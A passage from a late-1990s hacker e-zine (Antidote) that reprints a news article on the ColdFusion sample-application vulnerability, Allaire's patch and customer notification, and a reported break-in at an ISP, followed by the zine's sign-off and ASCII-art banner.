  825.     we've done a very aggressive job." 
  826.  
  827.     But customers are questioning whether Allaire did do enough to warn them. One of the
  828.     companies that was missed was NetGrocer Inc., of New York. 
  829.  
  830.     Ari Sabah, vice president of technology, said one of his developers learned of the
  831.     problem from an e-mail sent by a friend who also worked with ColdFusion. The security
  832.     flaw and the availability of a patch on Allaire's Web site had been discussed on the
  833.     site's discussion group. 
  834.  
  835.     "Officially, we didn't get anything from [Allaire]," said an annoyed Sabah. "They were
  836.     too busy going public. They forgot their customers and they forgot who got them there." 
  837.  
  838.     Berrey said a patch for the problem was posted on Allaire's Web site during the first
  839.     week of February and a maintenance release of the server, ColdFusion 4.01, will be
  840.     available Friday for free download from the company's site. 
  841.  
  842.     Hard hit
  843.     Still, the ColdFusion hack is not necessarily new. In December, Phrack Magazine first
  844.     publicized the vulnerability. But it wasn't until the past several weeks that it gained
  845.     the attention of hackers, who have made it clear that many ColdFusion users haven't
  846.     installed the patch. One site, a West Coast ISP that hosts at least 30 domains, was
  847.     particularly hard hit.
  848.  
  849.     A hacker, going by the name of MostHateD of GlobalHell, was able to penetrate the
  850.     company's Web server and gain access to at least three hard drives. In the process, the
  851.     hacker claimed to have gained access to banking records, mail server passwords, illegally
  852.     copied software, and even a "nuke" utility -- an illegal piece of software that can be
  853.     used to launch a denial of service attack against another server. 
  854.  
  855.     The vulnerability ties into remote administration tools with ColdFusion that are exposed
  856.     by the sample application. Allaire has its own server-side scripts, similar to CGI, that
  857.     can be manipulated by an attacker. Once inside, the attacker can upload and download files
  858.     and replace binary files, said Chris Rouland, director of Internet Security Systems Inc.'s
  859.     X-Force consulting group. 
  860.  
  861.     Rouland analyzed the attack after being alerted to it by PC Week.
  862.  
  863.     "If you can replace a binary on a computer system, you can back door it and force it to
  864.     do whatever you want to do," he said. 
  865.  
  866.     Allaire, of Cambridge, Mass., completed its initial public offering of 2.5 million shares
  867.      in January.
  868.  
  869.     
  870.     If you don't know what the Cold Fusion Vulnerability is,
  871.     then please see Antidote Vol2 Issue1
  872.  
  873.      Lord Oak
  874.      lordoak@thepoison.org
  875.    ----------------------------
  876.  
  877.                        _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  878.                        _|                      _|
  879.                    _|  _|    _|  _|      _|  _|      _|  _|
  880.                    _|  _|    _|  _|_|    _|  _|_|    _|  _|
  881.                    _|  _|_|_|_|  _|  _|  _|  _|  _|  _|  _|
  882.                    _|  _|    _|  _|    _|_|  _|    _|_|  _|
  883.                    _|  _|    _|  _|      _|  _|      _|  _|
  884.                        _|    Antidote is an HNN Affiliate    _|
  885.                        _|     http://www.hackernews.com      _|
  886.                    _|                      _|
  887.                        _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
  888.  
  889.  
  890.     All ASCII art in Antidote is done by Lord Oak and permission is needed before using it.
  891.     Copyright Thepoison.org 1998, all rights reserved.
  892.  
  893.  
  894.  
  895.  
  896.